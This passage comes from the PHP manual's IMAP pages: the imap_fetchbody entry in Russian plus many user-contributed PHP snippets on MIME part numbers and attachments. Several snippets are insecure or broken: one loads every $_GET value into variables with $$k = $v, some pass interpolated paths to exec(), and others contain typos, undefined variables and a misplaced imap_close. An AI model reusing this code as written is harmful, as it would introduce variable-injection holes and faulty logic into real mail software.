        $info = imap_check($this->_imap_stream);
        $limit = ($info->Nmsgs < $limit) ? $info->Nmsgs : $limit;

        if(true === is_array($sort)) {
            $sorting = array(
                        'direction' => array(   'asc' => 0,
                                                'desc' => 1),

                        'by'        => array(   'date' => SORTDATE,
                                                'arrival' => SORTARRIVAL,
                                                'from' => SORTFROM,
                                                'subject' => SORTSUBJECT,
                                                'size' => SORTSIZE));
            $by = (true === is_int($by = $sorting['by'][$sort[0]]))
                            ? $by
                            : $sorting['by']['date'];
            $direction = (true === is_int($direction = $sorting['direction'][$sort[1]]))
                            ? $direction
                            : $sorting['direction']['desc'];

            $sorted = imap_sort($this->_imap_stream, $by, $direction);

            $msgs = array_chunk($sorted, $per_page);
            $msgs = $msgs[$page-1];
        }
        else
            $msgs = range($start, $limit); //just to keep it consistent

        $result = imap_fetch_overview($this->_imap_stream, implode($msgs, ','), 0);
        if(false === is_array($result)) return false;

        //sorting!
        if(true === is_array($sorted)) {
            $tmp_result = array();
            foreach($result as $r)
                $tmp_result[$r->msgno] = $r;

            $result = array();
            foreach($msgs as $msgno) {
                $result[] = $tmp_result[$msgno];
            }
        }

        $return = array('res' => $result,
                        'start' => $start,
                        'limit' => $limit,
                        'sorting' => array('by' => $sort[0], 'direction' => $sort[1]),
                        'total' => imap_num_msg($this->_imap_stream));
        $return['pages'] = ceil($return['total'] / $per_page);
        return $return;
    }
?>
Group-Office Developer 09-Apr-2004 05:21
About the sequence sorting again.
I've found that there's a significant speed improvement by preparing the sequence and then fetch them at once with large mailboxes. On small mailboxes wyou will not notice a speed difference.

But then there's the sorting problem. I've spent all night fiuring out how to do this myself. I found the solution!

Prepare an array of messages with imap_sort. Create a second array that maps the message numbers to the actuall place in the fetched array.
You know it will be in numeric order so you can make an array map with the sort() function sorting it from high to low.
Then you can proces the array fetched with imap_fetch_overview with the array_map and you will have them sorted. If you need an example look in the Group-Office code classes/imap.class.inc in a version later then 2.04.
mails at slueoend dot ch 14-Dec-2003 04:15
Not that this function and all other imap_fetch*-functions will download the whole message and not just the header information.
se at designlinks dot net 02-Jul-2003 06:42
To further explain 'warrenfalk's comment, the following sequences are exactly the same, and always returns messages with lowest UID to highest UID:

1:5
5:1
1,2,3,4,5
5,4,3,2,1
3,2,5,1,4

(always returned as 1,2,3,4,5)
suurenbroekNoSpam at ov35 dot NoSpam dot nl 14-Oct-2002 04:34
Note that these object-variables only exist when they are actually in the mail.

This means that if a mail has no subject, the property $val->subject will not exist.

Calling $val->subject will generate an notice:
Notice: Undefined property: subject in /home/html/inc/Mbox.php on line xxx

Use this to check it:
if (array_key_exists( "subject", get_object_vars($val)))
   $subj=$val->subject;
else
   $subj="";
trionon at mail dot ru 25-Feb-2002 10:13
This performance hint is useful if you need to print the result of imap_sort():

It's faster to prepare large string with UIDs and then to call imap_fetchoverview once than calling imap_fetchoverview in a loop.
steve at stevenchalker dot net 09-Nov-2001 08:26
I think if you go like a list, you can list your "hotmail" messages.
<?php
$mbox=imap_open("{imap.server.com}","user","pass");
$MC=imap_check($mbox);
$MN=$MC->Nmsgs;
$overview=imap_fetch_overview($mbox,"1:$MN",0);
$size=sizeof($overview);
for($i=$size-1;$i>=0;$i--){
$val=$overview[$i];
$msg=$val->msgno;
$from=$val->from;
$date=$val->date;
$subj=$val->subject;
echo "#$msg: From:'$from' Date:'$date' Subject:'$subj'<BR>";
imap_close($mbox);
?>


Извлечь конкретную секцию тела сообщения

  • « imap_fetch_overview
  • imap_fetchheader »
  • PHP Manual
  • Функции IMAP
  • Извлечь конкретную секцию тела сообщения

imap_fetchbody

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchbody — Извлечь конкретную секцию тела сообщения

Описание

imap_fetchbody(
IMAP\Connection $imap,
int $message_num,
string $section,
int $flags = 0
): string|false

Извлекает конкретную секцию тела сообщения. Секции сообщения в этой функции не декодируются.

Список параметров

imap

Экземпляр IMAP\Connection.

message_num

Номер сообщения

section

Номер секции сообщения. Строка целых чисел, разделённых точками, определяющая часть тела сообщения в соответствии со спецификацией IMAP4

flags

Битовая маска из одной или нескольких опций:

  • FT_UID - параметр message_num является UID
  • FT_PEEK - Не устанавливать флаг \Seen, если он уже не установлен
  • FT_INTERNAL - возвращать строку во внутреннем формате, без преобразования концов строк к CRLF.

Возвращаемые значения

Возвращает конкретную секцию тела сообщения в виде строки или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_savebody() - Сохранить часть тела сообщения в файл
  • imap_fetchstructure() - Прочитать структуру указанного сообщения

User Contributed Notes

jab_creations at yahoo dot com 28-Oct-2020 03:08
The third parameter, the section parameter is not properly documented and I've seen a dozen or two developers in my research to figure this issue out come to hopeless conclusions. It's critical to understand that various email providers (e.g. AOL, Gmail, Microsoft, Yahoo and client programs like Thunderbird and...yes, the five thousand versions of Outlook) do NOT follow some "standard".

 - Unlike JavaScript and how PHP normally function all index numbers start at 1, NOT 0.
 - Your third/section parameter will be a whole number if there is not a second 'parts' array (I am NOT using classes here).
 - If the 'parts' array contains a 'parts' subarray you will have floating-point numbers (e.g. 1.1 or 2.1 instead of 1 or 2). If you have two parts in the 'parts' subarray you will have something such as 1.1 and 1.2 or 2.1 and 2.2 - REMEMBER: these vary by provider and there is no "STANDARD" as this is a PHP-specific issue!
 - None, some or all 'parts' arrays may be singular or contain child 'parts' subarrays, this is completely dynamic and may NOT be consistent from even the same provider!

The following presumes you have a $mail_connection and know which $email_number number you're working with:

<?php
     $i = 0;//Level 1 part references.
     $j = 0;//Level 2 part references.
     $mail_message_structure = json_decode(json_encode(imap_fetchstructure($mail_connection, $email_number)), true);//Convert AWAY from class style.

     while ($i < count($mail_message_structure['parts']))
     {
      if (isset($mail_message_structure['parts'][$i]['parts']))
      {//Multiple, contains secondary 'parts' array.
       while ($j < count($mail_message_structure['parts'][$i]['parts']))
       {
        //Remove subjectivity of "Png/PNG/png" with always lower-case.
        $mail_message_structure['parts'][$i]['parts'][$j]['subtype'] = strtolower($mail_message_structure['parts'][$i]['parts'][$j]['subtype']);
        $mail_message_structure['parts'][$i]['parts'][$j]['id_imap_fetchbody'] = ($i + 1).'.'.($j + 1);
        echo '<p>'.$i.': multi, '.$j.' '.$mail_message_structure['parts'][$i]['parts'][$j]['subtype'].': '.($i + 1).'.'.($j + 1).'</p>';
        $j++;
       }
      }
      else
      {//Single, first level.
       //Remove subjectivity of "Png/PNG/png" with always lower-case.
       $mail_message_structure['parts'][$i]['subtype'] = strtolower($mail_message_structure['parts'][$i]['subtype']);
       $mail_message_structure['parts'][$i]['id_imap_fetchbody'] = ($i + 1);
       echo '<p>'.$i.': single: '.$mail_message_structure['parts'][$i]['subtype'].': '.($i + 1).'</p>';
      }
      $i++;
     }
?>

Now that we can actually understand HOW to access specific PARTS of the email body it is a simple manner to iterate over the structure array:

<?php
     foreach ($mail_message_structure['parts'] as $k4 => $v4)
     {
      if (isset($v4['parts']))
      {
       foreach ($v4['parts'] as $k5 => $v5) {mail_imap_body($mail_connection, $email_number, $v5);}//echo '<div>MULTI: '.$v5['id_imap_fetchbody'].'; <pre>'.htmlspecialchars(print_r($v4['parts'],1)).'</pre></div>';
      }
      else {mail_imap_body($mail_connection, $email_number, $v4);}//echo '<div>SINGLE: '.$v4['id_imap_fetchbody'].'<pre>'.htmlspecialchars(print_r($v4,1)).'</pre></div>';
     }
?>
mike at lathyrus dot net 01-Jan-2015 04:37
I spent hours religously thinking that

imap_fetchbody($mbox,$email_number,1.2)

would fetch the html body, and in many cases this did not work.  It turns out that simple message can have a simple [parts] stucture so this became true:

imap_fetchbody($mbox,$email_number,1) - PLAIN
imap_fetchbody($inbox,$email_number,2) - HTML

Check for empty string before using the latter.
tabaccoandcoffee at gmail dot com 05-Sep-2014 08:01
Sorry for my English.
Rather than quoted_printable_decode, you can use the function imap_qprint ($body)
red dot ender at yahoo dot com 08-Jan-2013 01:29
I had some problems with the german umlauts from a gmail fetched text. I lost an hour trying to find a solution.

Hopefully this helps someone in need :)

<?php
$text = trim( utf8_encode( quoted_printable_decode(
                        imap_fetchbody( $this->inbox, $emailNo, $section ) ) ) );

$section was previously defined:
$section = empty( $attachments ) ? 1 : 1.1;
?>
gesti at gmx dot com 22-Jun-2012 11:10
How to give more then one option in the "options" parameter:
It took me some time to realize how easy it is, so just in case some one else would be puzzled at this point:
<?php
imap_fetchbody($imap_stream, $msg_number, $section, FT_UID | FT_PEEK);
?>
caevan at amkd dot com dot au 01-Jun-2012 02:52
I tried using the function add_part_to_array below and noticed a few errors were thrown. If there are no 'parts' in the structure then if (sizeof($obj->parts) > 0) will throw an error. As well $prefix is not defined here is the code I have updated. I have left the original lines commented out. I have tested reading emails from a gmail account and so far so good.

<?php

// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);

   if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
//        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
    if(array_key_exists('parts',$obj){
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
//            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
            $part_array[] = array('part_number' => $partno.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
//        if (sizeof($obj->parts) > 0) {
                    if(array_key_exists('parts',$obj)){
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 03-Oct-2009 11:32
The previous post contains a copy/paste error and a little added complexity.  The first function should look like this:

<?php
function create_part_array($struct) {
    if (sizeof($struct->parts) > 0) {    // There some sub parts
        foreach ($struct->parts as $count => $part) {
            add_part_to_array($part, ($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => '1', 'part_object' => $struct);
    }
   return $part_array;
}
?>
atamido at gmail dot remove dot com 17-Feb-2009 10:54
imap-fetchbody() will decode attached email messages inline with the rest of the email parts, however the way it works when handling attached email messages is inconsistent with the main email message.

With an email message that only has a text body and does not have any mime attachments, imap-fetchbody() will return the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - Body text

With an email message that is a multi-part message in MIME format, and contains the message text in plain text and HTML, and has a file.ext attachment, imap-fetchbody() will return something like the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - file.ext

Now if you attach the above email to an email with the message text in plain text and HTML, imap_fetchbody() will use this type of part number system:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - MESSAGE/RFC822 (entire attached message)
2.0 - Attached message header
2.1 - TEXT/PLAIN
2.2 - TEXT/HTML
2.3 - file.ext

Note that the file.ext is on the same level now as the plain text and HTML, and that there is no way to access the MULTIPART/ALTERNATIVE in the attached message.

Here is a modified version of some of the code from previous posts that will build an easily accessible array that includes accessible attached message parts and the message body if there aren't multipart mimes.  The $structure variable is the output of the imap_fetchstructure() function.  The returned $part_array has the field 'part_number' which contains the part number to be fed directly into the imap_fetchbody() function.

<?php
function create_part_array($structure, $prefix="") {
    //print_r($structure);
    if (sizeof($structure->parts) > 0) {    // There some sub parts
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => $prefix.'1', 'part_object' => $obj);
    }
   return $part_array;
}
// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
    if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
        //print_r($obj);
        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 02-Feb-2009 11:50
If you download an attachment labeled "winmail.dat" or "win.dat", or with the mime-type of "APPLICATION/MS-TNEF", this is a Microsoft Transport Neutral Encapsulation Format file.  It is a proprietary method for encoding several files together in a single file.  AFAIK only Outlook sends it with its default setting of sending emails in Rich Text Format.

As of PHP 5.2 there is no internal method of breaking apart these attachments.

There are external command line utilities that can be called from PHP.  Alternately, it is possible to decode these files entirely in PHP.  It appears that all current libraries are based on a plugin written by Graham Norbury for Squirrel Mail.  The only ones I've seen are in IlohaMail, Telean, Horde-Imp, and NaSMail.  The only one that I know that will also decode the RTF message is from NaSMail.

To use the NaSMail code, download the "TNEF Attachment Decoder" plugin and extract it to
plugins/attachment_tnef/

Then use this bit of code:
<?php
include_once('plugins/attachment_tnef/constants.php');
include_once('plugins/attachment_tnef/functions.php');
include_once('plugins/attachment_tnef/class/tnef.php');

// $tnef is a binary variable containing only the contents of winmail.dat
$attachment = &new TnefAttachment($tnef_debug);
$result = $attachment->decodeTnef($tnef);
$tnef_files = &$attachment->getFilesNested();
print_r($tnef_files); // See the format of the returned array
?>
fortega dot no spam plz at uamericas dot net 24-Apr-2008 01:37
To fetch the body of a "sub part" do the following thing:
<?php
$partno = "2.1"   // The first part of the second part

print_r(imap_fetchbody($mbox, $msgno, $partno));
// TODO: replace print_r for the proper function
?>

And remember... you can fetch the structure with
<?php
imap_fetchstructure($mbox, $msgno);
?>
then iterate the array of parts fetching the body.
anonymous lazy person 22-Mar-2008 08:51
Expanding on a comment below about using munpack to extract attachments, here's a lazy person's function that extracts attachments from mail with $msg_number from $mailbox and writes them to $dir. It returns an array of filenames or false if there are no attachments.

function writeAttachmentsToDisk($mailbox, $msg_number, $dir){

  if (!file_exists($dir)){
    mkdir($dir);
  }
  $filename = "tmp.eml";
  $email_file = $dir."/".$filename;
  // write the message body to disk
  imap_savebody  ($mailbox, $email_file, $msg_number);
  $command = "munpack -C $dir -fq $email_file";
  // invoke munpack which will
  // write all the attachments to $dir
  exec($command,$output);

  // if($output[0]!='Did not find anything to unpack from $filename') {
  $found_file = false;
  foreach ($output as $attach) {
    $pieces = explode(" ", $attach);
    $part = $pieces[0];
    if (file_exists($dir.$part)){
      $found_file = true;
      $files[] = $part;
    }
  }
  if (!$found_file){
    //echo ("\nMail.php : no files found - cleaning up. ");
    // didn't find any output files - delete the directory and email file
    unlink($email_file);
    rmdir($dir);
    return false;
  }
  else {
    // found some files-  just delete the email file
    unlink($email_file);
    return $files;
  }
}
tom at tomwardrop dot com 12-Mar-2008 11:08
If text has been encoded as quoted-printable (most body text is encoded as this), it must be decoded for it to be displayed correctly (without '=', '=20' and other strange text chunks all through the string).

To decode, you can use the following built-in php function...

quoted_printable_decode($string)

Hopefully I've just saved a few people from having to do a preg_replace on there email bodies.
bryn 11-Jan-2008 11:58
An alternative to munpack for rfc822 messages is ripmime http://www.pldaniels.com/ripmime/

It lets you pass it the rfc822 attachment (usually something.eml) and it recursively writes out attachments (and text and html files)
ted at qtis dot co dot nz 18-Aug-2007 01:02
Here's simple way of extending Makusnospam's little routine to flatten the entire message into an array which can be useful to quickly find the body and attachments just by walking through the array elements.

function create_part_array($structure, $prefix="") {
   $part_array = array();

    if (sizeof($structure->parts) > 0) {
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }

   return $part_array;
}

function add_part_to_array($obj, $partno, & $part_array) {

    if ($obj->type == TYPEMESSAGE) {
        parse_message($obj->parts[0], $partno.".");
    }
    else {
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }

    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
}
phpnetlover at yoz dot us 19-Apr-2007 10:15
Hi everyone

I have been inspecting the RFC's and the answer to what to display is not like Musawir Ali in 2 areas

1- You can not rely on disposition being present, not all mail software composes mail to standard, and if you would just take a quick look at the RFC's you will find out that someone can send you email where your solution will fail even though the mail is "within standards"

2- When you are presented with Alternative-multipart, assuming you will find one text-plain and one text-html, you should NOT be looking for HTML then TEXT, the last mentioned subtype is the most loyal to the original composition, you check if you can support the last, if not you simply go one step back and see the one before it, if your client supports it, you take that, and so on, this is how Alternative works, Just because HTML is best colored does not mean we should chose that, we are looking for the closest representation of the original and not for any in specific
anonymous at coward dot village 22-Feb-2007 11:08
A very easy way to handle attachments is just using munpack, with a subdirectory called attachments chmod it to 777 and then use the following bit of code (with mpack installed) on the MIME encoded body:

<?php
//email MIME body in $input
file_put_contents("attachments/body.eml",$input);
$command = "munpack -C attachments -fq body.eml";
exec($command,$output);
if($output[0]!='Did not find anything to unpack from body.eml') {
    foreach ($output as $attach) {
        $pieces = explode(" ", $attach);
        $part = $pieces[0];
        echo "<a href=\"attachments/$part\">$part</a><br>";
        }
    }
?>
web at i-ps dot net 05-Feb-2007 10:35
I had an issue with the content that was returned by imap_fetchbody - either the function itself, or the mail-server, was inserting "=\r\n" at points into the text body returned. This may depend upon the content type (i.e. plain text / csv, as opposed to something like a Word document), but you may need to do something like:

$body = preg_replace("/=(\r?)\n/", '', imap_fetchbody($mailbox, $message, $part));
jbr at ya-right dot com 14-Dec-2006 08:38
Musawir Ali comment is not totally correct, ifdisposition= 1 will never tell you 100% if there is an attachment. You must look at (ifdparameters, ifparameters) if (1) of them is greater then (0), then you need to look inside (parameters), looking at each ($obj->parameters) and check the (attribute) for (NAME, FILENAME), also be sure to set them to upper or lower case before doing your testing. That's the only way to know if you have an attachment. inline attachments will have $obj->ifid equal to 1, the $obj->id will contain the (cid). If $obj->ifid equals 0 then it's also an attachment (file type) if you have (NAME, FILENAME) as the current parameters (attribute).

<?php
        $name = '';

        if ( $parent->ifdparameters && sizeof ( $parent->dparameters ) > 0 )
        {
            foreach ( $parent->dparameters as $child )
            {
                if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                {
                    $name = strtolower ( $child->value );
                }
            }
        }

        if ( empty ( $name ) )
        {
            if ( $parent->ifparameters && sizeof ( $parent->parameters ) > 0 )
            {
                foreach ( $parent->parameters as $child )
                {
                    if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                    {
                        $name = strtolower ( $child->value );
                    }
                }
            }
        }
?>

$parent is derived from imap_fetchstructure(), as a child object if $obj->parts is set or as the $parent if $obj->parts is not set!
Musawir Ali 12-Jul-2006 10:04
For those of you trying to create a "flexible" email reader, I suggest doing the following.

Firstly, instead of going through each part of the email and decoding it, I suggest you go in a specific order.

1) First go through all the parts and search for the part that has subtype=='HTML'. If found, use that as your message body, else go to Step 2.
2) If HTML component not found, search all parts for subtype=='PLAIN'. If found, use that as your message body else print out an error message (this should never occur).
3) At this point, you already have the main body of the email that you should display. The next thing to do is to find all the attachments. You do this by going through all parts, searching for the parts with ifdisposition==1 (there can be multiple).

This is the way I did my email reader program and it works perfectly. I started off by using the methods recommended in a lot of webpages (i.e. going through the parts tree like 1.2.1, 1, 2, etc) but the problem is the message body is never in some fixed part! Sometimes its in 1, somtimes 1.1.2, sometimes 2, and sometimes in some totally unexpected place! So my approach was to "search" for the parts that I'm interested. Hope this helps. I also managed to crack the problem with emails containing embedded images. I will probably write a tutorial on that soon.
se at designlinks dot net 03-Mar-2005 03:36
If you insist on using imap_fetchbody() to retrieve a mail body that doesn't contain 'parts' [normally you'd use imap_body() ], then note that the header text is in part '0' and the body text in part '1'.
So, imap_fetchbody($mbox,$msg,'0') will return the header and imap_fetchbody($mbox,$msg,'1') will return the body text.
guru at php dot net 04-Oct-2004 08:50
After many battles with the imap extension I took it upon myself to write my own implementation using sockets. Below is what I came up with, and hopefully it will be usefull to others as well. I know that there are some parts of this that can be tweaked, however I will leave that for you to do. Use/abuse/mutilate this as you wish (no license).

(Note: I am not placing the source here since it is well over 1900 lines ~48KB)

http://www.nutextonline.com/cimap.phps

If enough people find this usefull I will continue to improve it and eventually commit it (or have it committed) to pear.

Also worth noting is the fact that you can use the imap extensions on mbox format mailboxes. A combination of this class with the imap extension would certainly make a great combination of done correctly.
Adam 27-Sep-2004 11:12
It took me a while to figure out how part id's(numbers) are assigned to different parts of a message.  After getting a few AOL e-mails that had a semi-complex structure I was finally able to break it down.

0 multipart/mixed
    1 multipart/alternative
        1.1 text/plain
        1.2 text/html
    2 message/rfc822
        2 multipart/mixed
            2.1 multipart/alternative
                2.1.1 text/plain
                2.1.2 text/html
            2.2 message/rfc822
                2.2 multipart/alternative
                    2.2.1 text/plain
                    2.2.2 text/html

Hopefully this will help others get the different body parts of a message.
sales at nocwizard dot com 05-Sep-2004 05:59
I'm adding this for those of you like me who are scouring the web looking for code to break down a message.  These two functions will break down a multi-part and non multi-part message and return the contents of the message in the array $message.  It doesn't do attachments.  This assumes you've already opened the mailbox and pass it VIA the $mbox.

function retrieve_message($mbox, $messageid)
{
   $message = array();

   $header = imap_header($mbox, $messageid);
   $structure = imap_fetchstructure($mbox, $messageid);

   $message['subject'] = $header->subject;
   $message['fromaddress'] =   $header->fromaddress;
   $message['toaddress'] =   $header->toaddress;
   $message['ccaddress'] =   $header->ccaddress;
   $message['date'] =   $header->date;

  if (check_type($structure))
  {
   $message['body'] = imap_fetchbody($mbox,$messageid,"1"); ## GET THE BODY OF MULTI-PART MESSAGE
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }
  else
  {
   $message['body'] = imap_body($mbox, $messageid);
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }

  return $message;
}

function check_type($structure) ## CHECK THE TYPE
{
  if($structure->type == 1)
    {
     return(true); ## YES THIS IS A MULTI-PART MESSAGE
    }
 else
    {
     return(false); ## NO THIS IS NOT A MULTI-PART MESSAGE
    }
}
noose (at) nospam (dot) tweak (dot) pl 20-Jun-2004 04:04
Sorry for my english....

for read the attachment's:

<?
 foreach ($_GET as $k => $v)
 {
     $$k = $v;
 }
 $login = 'mylogin';
 $password = 'mypassword';
 $host = '{myhost:110/pop3}';

$mbox = imap_open("$host", "$login", "$password");
$struckture = imap_fetchstructure($mbox, $id);
$message = imap_fetchbody($mbox,$id,$part);
$name = $struckture->parts[$part]->dparameters[0]->value;
$type = $struckture->parts[$part]->typee;
############## type
if ($type == 0)
{
    $type = "text/";
}
elseif ($type == 1)
{
    $type = "multipart/";
}
elseif ($type == 2)
{
    $type = "message/";
}
elseif ($type == 3)
{
    $type = "application/";
}
elseif ($type == 4)
{
    $type = "audio/";
}
elseif ($type == 5)
{
    $type = "image/";
}
elseif ($type == 6)
{
    $type = "video";
}
elseif($type == 7)
{
    $type = "other/";
}
$type .= $struckture->parts[$part]->subtypee;
######## Type end

header("Content-typee: ".$type);
header("Content-Disposition: attachment; filename=".$name);

######## coding
$coding = $struckture->parts[$part]->encoding;
if ($coding == 0)
{
    $message = imap_7bit($message);
}
elseif ($coding == 1)
{
    $wiadomsoc = imap_8bit($message);
}
elseif ($coding == 2)
{
    $message = imap_binary($message);
}
elseif ($coding == 3)
{
    $message = imap_base64($message);
}
elseif ($coding == 4)
{
    $message = quoted_printable($message);
}
elseif ($coding == 5)
{
    $message = $message;
}
echo $message;
########## coding end
 imap_close($mbox);
?>
jsimlo yahoo com 24-May-2004 01:38
this may be the way, how to obtain all those part_numbers.... even when a message contains another message attached, and it contains another message attached...

<?
 $parttypes = array ("text", "multipart", "message", "application", "audio", "image", "video", "other");
 function buildparts ($struct, $pno = "") {
   global $parttypes;
   switch ($struct->type):
     case 1:
       $r = array (); $i = 1;
       foreach ($struct->parts as $part)
         $r[] = buildparts ($part, $pno.".".$i++);

       return implode (", ", $r);
     case 2:
       return "{".buildparts ($struct->parts[0], $pno)."}";
     default:
       return '<a href="?p='.substr ($pno, 1).'">'.$parttypes[$struct->type]."/".strtolower ($struct->subtype)."</a>";
   endswitch;
 }

  $struct = imap_fetchstructure ($pop3mbox, $msguid, FT_UID);
  echo buildparts ($struct);
?>

it will print something like:

<a href="?p=1">text/plain</a>, {<a href="?p=2.1">text/plain</a>, <a href="?p=2.2">text/html</a>}
Sito 24-May-2004 04:54
Better, a fix on a fix... ;)

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

   foreach($struct as $key => $value){

    if($subkey!=0){
    $pid = $subkey.".".($key+1); }
    else { $pid = ($key+1); }

    $ret_info[]['pid'] = $pid;
    $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
    $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

    next($ret_info);

    if(($value->parts)!= null) {scan($value->parts,$pid); }
   }
 }

if(!is_null($struct->parts))
{
 scan($struct->parts,0);
}
else
{
    print_r($struct);
    echo("<hr>");
    $ret_info[]['pid']=1;
    $ret_info[key($ret_info)]['type']=$mime["$struct->type"];
    $ret_info[key($ret_info)]['encoding']=$enc["$struct->encoding"];
}

return $ret_info;

}
php at NOSPAM dot sibyla dot cz 04-Apr-2004 03:56
// $uid - msg number

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

 foreach($struct as $key => $value){

  if($subkey!=0){
  $pid = $subkey.".".($key+1); }
  else { $pid = ($key+1); }

  $ret_info[]['pid'] = $pid;
  $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
  $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

  next($ret_info);

  if(($value->parts)!= null) {scan($value->parts,$pid); }
 }

 }

scan($struct->parts,0);

return $ret_info;

}
asfd at aasdfa dot com 30-Aug-2003 02:48
PLEASE DOCUMENT THIS POST AND SAVE US SOME TIME! :)
ac at artcenter dot ac
17-Feb-2002 04:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
ulrich at kaldamar dot de 30-Apr-2003 04:54
The function imap_fetchbody() seems uncapable of getting subordinate parts of a message/rfc822-part. I had problems with getting an attachment that was forwarded in such a part, because the object given by imap_fetchstructure() would assume that the part was represented by the string "2.1.2.1.2".

So I wrote this set of functions which parses the raw message-body and creates an array with the struture corresponding to the structure given by imap_fetchstructure(). The function mail_fetchpart() (see below) will work on the array and return even those parts that I could not get with imap_fetchbody().

Example usage of this function: mail_fetchpart($mbox, 2, "2.1.2.1.2");

Note: If the message does not contain multiple pars, the body of the message can be accessed by the part-string "1".
I have more functions for parsing and decoding messages, just email me.

    // get the body of a part of a message according to the
    // string in $part
    function mail_fetchpart($mbox, $msgNo, $part) {
        $parts = mail_fetchparts($mbox, $msgNo);

        $partNos = explode(".", $part);

        $currentPart = $parts;
        while(list ($key, $val) = each($partNos)) {
            $currentPart = $currentPart[$val];
        }

        if ($currentPart != "") return $currentPart;
          else return false;
    }

    // splits a message given in the body if it is
    // a mulitpart mime message and returns the parts,
    // if no parts are found, returns false
    function mail_mimesplit($header, $body) {
        $parts = array();

        $PN_EREG_BOUNDARY = "Content-Type:(.*)boundary=\"([^\"]+)\"";

        if (eregi ($PN_EREG_BOUNDARY, $header, $regs)) {
            $boundary = $regs[2];

            $delimiterReg = "([^\r\n]*)$boundary([^\r\n]*)";
            if (eregi ($delimiterReg, $body, $results)) {
                $delimiter = $results[0];
                $parts = explode($delimiter, $body);
                $parts = array_slice ($parts, 1, -1);
            }

            return $parts;
        } else {
            return false;
        }

    }

    // returns an array with all parts that are
    // subparts of the given part
    // if no subparts are found, return the body of
    // the current part
    function mail_mimesub($part) {
        $i = 1;
        $headDelimiter = "\r\n\r\n";
        $delLength = strlen($headDelimiter);

        // get head & body of the current part
        $endOfHead = strpos( $part, $headDelimiter);
        $head = substr($part, 0, $endOfHead);
        $body = substr($part, $endOfHead + $delLength, strlen($part));

        // check whether it is a message according to rfc822
